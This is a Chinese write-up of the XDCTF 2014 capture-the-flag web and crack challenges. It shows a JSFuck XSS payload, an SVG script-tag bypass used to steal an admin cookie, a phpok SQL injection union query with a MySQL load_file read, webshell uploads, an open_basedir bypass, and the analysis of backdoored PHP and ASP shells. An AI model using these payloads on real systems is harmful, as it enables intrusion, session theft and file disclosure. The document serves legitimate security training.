0×00 前言
感觉这篇写的有点简单 phithon p 神有更详细的分析 放到最后有下载
题目的链接 xdctf2014 题目(不含 web).zip

0×01 Web
WEB20
什么，小 P 说来点彩头？先出个简单的，就 WEB20 吧。
题目链接： WEB20 http://game1.xdctf.com:8081/H86Ki4NnCSVv/
hint > 大家不知道复活节要玩什么吗？（非前端题，请勿关注 html 注释、css、javascript 等）

p 神出的题目 果然能涨姿势，一开始并没有做出来 坑了好久
http://game1.xdctf.com:8081/H86Ki4NnCSVv/
一开始去研究图片去了，没发现什么 方向错了 图片的时间也是很久以前的
根据提示 去研究了一下 复活节要玩什么吗？ 说是要玩彩蛋 也就是后面的 jpg 给出的图片
然后去百度了一下 php 彩蛋 发现 php 居然还有这种特性 也是涨姿势了
php 彩蛋资料
http://game1.xdctf.com:8081/H86Ki4NnCSVv/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

在最下面发现了信息
Your Flag **flag-WhatisPhp-mtzeXAtcKA53**

WEB50
在业界都知道，哪一行都不好做，我们这一行也不例外，拿 XSS 来说，没两把刷子，你还能混得下去么，下面是某黑写的 XSS 编码神器，你值得拥有，但是为了版权问题，他在里面留了标记，找到标记，这神器就是你的!!牛 x 的你值得拥有……..

之前 flag 有点小 BUG，现在已经修复了哦~
http://game1.xdctf.com:8083/dc8ef3443c5d433af9dd/xxxx.rar
下载下来有一个 crx 文件 是 chrome 的插件
研究一下插件的格式 发现是一个压缩包 解压出来看看

发现一个 fuck.jpg 修改时间比较奇怪 是后来加进去的 拿来研究一下

一不小心就看到了一个备注

1 107 101 121 32 105 115 58 88 68 83 101 99 64 50 79 49 52

提取出来 是一个 10 进制的 转成 ascii 码
key is:XDSec@2O14

Web70
大家都说 XSS 很不好玩，但是会玩的人就是很好玩，你觉得呢？呵呵呵呵
http://game1.xdctf.com:8083/83816b979ce0dfd72b5e/index.php

<script>_</script>
随便提交一个字符尝试一下 发现被过滤了 嵌套在脚本里
burp fuzz 测试
:+;[{,\=]}.~!$'()

jsfuck 利用 6 个字符 []()!+
jsfuck 资料


```
[][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![
]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[
]]]]+(!![]+[])[+[[+!+[]]]]][([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+
[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]
]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+[])[+[[!+[]
+!+[]+!+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!
+[]+!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+
[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+[])[+[[!+[]+!+[]+!+[]+!+[
]+!+[]+!+[]]]]+([][[]]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[]+!+[]]]]
+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[+!+[]]]]+([][[]]+[])[+[[+[]]]]+([]
[(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(![]+
[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]
]+(!![]+[])[+[[+!+[]]]]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+([]
[(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+!+[]]]]+(!![]+
[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]
]+(!![]+[])[+[[+!+[]]]]+[])[+[[!+[]+!+[]]]]((![]+[])[+[[+!+[]]]]+(![]+[])[+[[!+[]+!+[
]]]]+(!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+(!![]+[])[
+[[+[]]]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]+!+[]+!+[]+
!+[]]]]+(![]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(!![]+[])[+[[!+
[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+[])[+[[!+[]+!+[]+!+[]]]]+[+!+[]]+([][(![]+[])[+[[+[]]]]+([][[]]+[])[+[[!+[]+!+[]]]]+(!![]+[])[+[[+[]]]]+(
!![]+[])[+[[!+[]+!+[]+!+[]]]]+(!![]+[])[+[[+!+[]]]]+[])[+[[+!+[]]]+
[[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]]]) ()
```

Web100
啥都不说，看题目吧！题目
http://game1.xdctf.com:8083/f16c3b1ed800fc78e605/index.php

这个给了个 png 的图片 研究一下 发现是 LSB 然后就秒了
用 stegsolve 来弄
RGB 每个通道的最低位都是一样的 随便取一个通道就可以了

Xd$eC@2o14

Web200
自从小 P 告诉离休老干部 le4f python 怎么写网站以后，就一发不可收拾。

这是 le4f 的新作：http://y0pk678.xdctf.com:8081/

说明：本题 flag 形式为 XDCTF{XXXX}，填入 XXXX 内容即可。
http://y0pk678.xdctf.com:8081/
u may need help information.

http://y0pk678.xdctf.com:8081/help
<html>welcome to my first web.py project.<a href =
'./read?file=readme'></html>

http://y0pk678.xdctf.com:8081/read?file=readme

我猜你可能不知道还有第二行
咦,怎么还有第三行

奇怪,为什么没全部显示出来
哦,我懂了些什么

这是 newapp.py 的说明文件
我猜你可能不知道还有第二行

刷新发现有不同的返回 然后就利用读取文件去访问 newapp.py
http://y0pk678.xdctf.com:8081/read?file=newapp.py
每次也是返回两行代码 利用了 burp 去爆破一下 通过返回长度来获取那些文件
关键的几处代码

```
01 urls = (
02         '/getflag', 'xdctf',
03
04 def func(a):
```

```
05      if a == 'le4f.net':
06          flag = open("flagishere","r").readlines()[0].strip()
07          web.header('flag', flag)
08
09  web.input(_unicode=func(web.input(unabletoread = 'show me
    flag!!!!').get('unabletoread')))
10  return "flag is here?!!show me flag!!!!"
```

然后就是理解如何输入输出的 get('unabletoread') 这里有一个重载默认是 show me flag!!!!
在前面可以看到要让这里 a 和'le4f.net'相同才可以
构造 尝试一下 会在 header 返回
http://y0pk678.xdctf.com:8081/getflag?unabletoread=le4f.net

flag: XDCTF{X1di4nUn1Vers1tySecT3AM}

Web150
最近，小黑在学习入侵技术的过程中得到一款功能十分强大的 php 木马，但是使用了一段时间发现，自己拿到的 shell 老是被别人登录，但刚开始学习的小 黑，对 php 代码不是很熟悉，你能帮他分析下这代码吗？找到后门接收 shell 的密码作为 key,不是后门密码哟……..
http://game1.xdctf.com:8083/84a01d6a872639538a41/shell.rar

发现了有一个 php 的马 有混淆 需要先找到密码进入才好观察
慢慢 echo(); 那些变量 找类似于 password 的东西
最后找到密码是 b374k
最后在 linux 下操作 因为马在 win 下的编辑器 重新保存容易改变编码 马就不能用了
自己本地翻翻这个马 发现还是挺漂亮的

最后在 smtp 的设置里找到了 flag
XDSE@LOVEr2014

Web180
具体题目要求看题目。
http://game1.xdctf.com:8083/652bf75933aebf659462/index.php
http://game1.xdctf.com:8083/652bf75933aebf659462/wwwroot.rar

社工题 有点像去年的舞动旋律的那个题 印象深刻

发现了一个隐藏文件 about.asp
打开一看是个马

```
1 UserPass="3895"    '密码
2 mNametitle ="gh0st2014"    ' 标题
3 Copyright="qq:2725629821"    '版权
```

提取出关键的信息
用户名 gh0st2014
去搜一下 qq

发现了这个东西 然后去算身份证
中国 陕西 西安 长安区比较坑爹 一开始算错了 610116 这个是错的
长安县(610121) 这个才是对的
然后就构造生日 属牛的话 是 85 年
19850507
然后就是后四位了
猜测是密码 3895 或者是签名 3826
组合一下 用户名 gh0st2014 身份证 610121198505073895

key:Welcome@Xidan$@clov@r

Web250
小 P 闲暇时间开发了一个留言板，供浏览者与管理员进行交流，不过听说有点问题？
地址：http://lsoyon.xdctf.com:8081/4CgtWuwdouSE/
FLAG 在管理员的 cookie 中。flag 形如 flag-xxxx。
请自行测试确认能获得 cookie，再点击提交审核，管理员会查看。管理员的浏览器是 chrome 最新版哦~
提交审核后请不要删除你的留言，否则管理员看不到的哦~
管理员 2 分钟看一次留言板，每次停留 3 秒。看过以后才能够再次提交审核。所以请测试真实通过后再提交。
http://lsoyon.xdctf.com:8081/4CgtWuwdouSE/index.php?a=register

注册一个账号 然后登陆上去
使用如下方式让留言更漂亮：
[a]http://超链接[/a]、[b]粗体[/b]、[pre]代码[/pre]、[i]斜体[/i]等，不允许引用图片。

发现了一个提示 可以使用[]来代替<>
测试了一下 发现是可以的<>

尝试弹框 发现过滤了

然后发现利用 html 编码会转换
[script]alert('1');[/script]
尝试弹框 发现失败 尝试利用 html5 的 svg 来绕过
[svg][script]alert('1');[/script]
成功弹框 接下来就是用 xss 平台来接受 cookie 了
http://lsoyon.xdctf.com:8081/4CgtWuwdouSE/index.php?a=audit

然后提交审核就可以了

Web270
小 P 睡了一觉起来，发现黑客们都饥渴难耐，想日站想疯了。
小 P 默默地看了看自己的网站：http://ph.xdctf.com:8082/
感觉不知道放个什么程序比较好，而同服的另一个网站居然已经运营很久了：
http://hlecgsp1.xdctf.com:8082/
真不知道该怎么办……
ps.这是一个系列题目，分步骤给分。一共 4 个 FLAG 都在小 P 网站所在的服务器中。
请黑客们不要破坏网站文件、数据库。一旦发现有阻碍比赛正常进行的现象，将会恢复服务器到最初状态。
说明：4 个 flag 都形如 flag-xxxx

这个题目 没那么难 就是 flag 不好找
访问发现是只有一个 hello world
http://ph.xdctf.com:8082/

发现有一个 cms 来运行
http://hlecgsp1.xdctf.com:8082/

访问一下发现网站好像被日穿了
那我就用一些原来的截图吧
发现是用的 phpok 的 cms 到 wooyun 上搜一下
phpok 最新版 SQL 注入二

用的这个漏洞
http://hlecgsp1.xdctf.com:8082/api.php?c=api&f=phpok&id=_project&param[pid]=1

union select 1,concat(version(),0x7e,user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33#

注入一发 找了一下 user password
d123789fd311dddeb7ce41f06a6d71fd
cmd5 查询了一下
198712a5
然后发现登陆不上去
仔细看了 admin d123789fd311dddeb7ce41f06a6d71fd:a5
各种尝试 把 a5 去了才登陆成功

http://hlecgsp1.xdctf.com:8082/admin.php?c=login

admin 198712
在后台翻到第一个 flag

查看一下源码 发现了 flag
flag-letmeshowyoushell

后台的风格管理可以拿到 shell 写个一句话上去
flag 其实就是提示 第一个 flag 告诉我们第二个要有 shell 才有第二个
拿到 shell 后查看一下目录 发现有个 flagishere~的 php 看了一下 发现了第二个 flag
define('flag', 'flag-3rdf1agis0nth155erver');

flag 提示了第三个 flag is on this server 是在本服务器上 找了好久也没找到
还好在目录下看到了 p 神测试的 mysql.php 轻松拿到第四个 flag
提示说了 ph 那个网站嘛 我们就要去尝试
然后我看 mysql.php 里是读取了 config.php 的 那么就去构造一下 利用 mysql 的 load_file 去读取文件
select load_file('/home/wwwroot/ph/config.php')
获取第四个 flag
第三个卡了比较久 到晚上才搞出来
我发现我们是超过了 跳了一步 可能 需要我们中间去读取 ph 的目录 才能获取 config.php 才进去第四个
然后就是利用了 open_basedir_bypass 这个马来绕过目录 跨目录读取文件
ph 目录下的一个文件名就是 flag

0×02 Crack
Crack120
某天，小黑在某服务器上得到一个 data 文件，旁边有句挑衅的话"有种你就解开 data 中的数据"，小黑折腾了半天，没任何发现，但是推敲出，该目录下的另外一个文件，与 data 息息相关，你来试试？

http://game1.xdctf.com:8083/07093ee8f0757df55def/data.rar

解压一下 发现了一个 data 和一个脚本
file 看一下脚本 是 pyc 的
uncompyle2 反编译一下 得到了源码 研究源码 写一个逆向的
琪琪的 python

```
01 #!/usr/bin/python
02 import sys
03 def main():
04         ret = ''
05         with open(sys.argv[1],"rb") as fin:
06                 data = fin.read()
07                 ba = bytearray(data)
08                 for i in ba:
09                         if i & 0x80:
10                                 ret += '1' * (i & 0x7f)
11                         else:
12                                 ret += '0' * (i & 0x7f)
13         final = ''
14         for i in range(0,len(ret),8):
15                 temp = (ret[i:i+8])
16                 temp2=''
17                 for i in range(0,len(temp)):
18                         temp2 += temp[len(temp)-i-1]
19                 final += chr(int(temp2,2))
20         print final
21         return
22 if __name__=='__main__':
23         main()
1 python decode.py>1.jpg
```

Crack150
这个是一个 apk，找到 key,题目

http://game1.xdctf.com:8083/97eca05741f84681720d/Artifact.rar
apk 文件 先拿来解压一下 再翻翻

发现 Artifact\assets\k.jpg
这个图片

winhex 里看看 发现有 dex 文件头

发现了 dex 文件 一开始想要去修复 dex 文件 发现很坑爹 然后就卡住了
直到后来发现了文件里的一串特殊的字符串
E2809C6B6579E2809DE79A84E5B08FE586993136E4BD8D6D6435E58AA0E5AF86
测试过各种 后来发现就是个 url 编码 搞了半天是编码的问题 小郁闷
%E2%80%9C%6B%65%79%E2%80%9D%E7%9A%84%E5%B0%8F%E5%86%99%31%36%E4%BD%8D%6D%64%35%E5%8A%A0%E5%AF%86

http://www.baidu.com/baidu?wd=%E2%80%9C%6B%65%79%E2%80%9D%E7%9A%84%E5%B0%8F%E5%86%99%31%36%E4%BD%8D%6D%64%35%E5%8A%A0%E5%AF%86&tn=monline_dg

“key”的小写 16 位 md5 加密
md5(‘key’)
9c15224a8228b9a9
出来了这个东西就是 flag 了

Crack180
ZZ 发现土豪 Ph 在用 SafeAccountSystem 给 Le4f 打一笔退休金$23333，ZZ 截断了支付过程的密文，打算捉弄一下他们把退休金打到自己账户 Z2333 上。
密文点此处下载: http://game1.xdctf.com:8081/Z4l2Lu7XkNBa/crypt.txt
支付系统的地址 game1.xdctf.com 端口，50008，请用 nc 连接（telnet 不行）
本题考点加密与解密，可是没这个分类，真拙计。
本题 flag 形如 xdctf{xxx}，答案填入 xxx 即可。

是个加密解密的题目
研究了比较久 发现给出的密文是只有 0-9AB 这几个字符
然后就去研究中间 后来在注册 Ph 的时候发现失败了 然后就想到要是搞到 Ph 的密码这个题不就搞定了 确定了发现就是尝试规律 发现在里面又会用到密码的 只是经过了一层加密

595270AABAA5853AAAAB133AABAA07AAAABAAABBAAAAB5AAABB7AABAB827AAABB0AA
ABBAABAB6AAAAA910AAABBAABAA23289280801AABABAAAAAAABAAAABABAAABBAAABB
4078AABAA56AABABAAAAB8AAABA2AAAAB5AAABA881AABAB2AAAAB7AABAB58AAAAA09

6AAAAA367AAAAA32AAAABAABAA33AAABB7248989AAABB6AAAAB2319AABAB091AABAB
AABAB4AAAAA12AABABAABAB2AAAAA4717AAABB4AAABA01AAAAB242927AAAABAABAA0
643AABAB06AABABAAAABAABAA29AAAAB10AAAAAAABAA

提取出和密码相关的

1 AAAAB8AAABA2AAAAB5AAABA881AABAB2AAAAB7AABAB58AAAAA096AAAAA367AAAAA3
2AAAABAABAA33

发现是把字母拿去进行了培根加密 数字不变
b8c2b5c881f2b7f58a096a367a32be33
获取密码 登陆之后按照要求 给 Z2333 打 23333 就可以获取 flag

0×03 后记
感觉写得有点水 放一个官方的 writeup 吧 phithon 对于 open_basedir 的分析很精彩 可以去围观一下
XDCTF2014 部分官方 Writeup.doc
XDCTF2014-WriteUp.pdf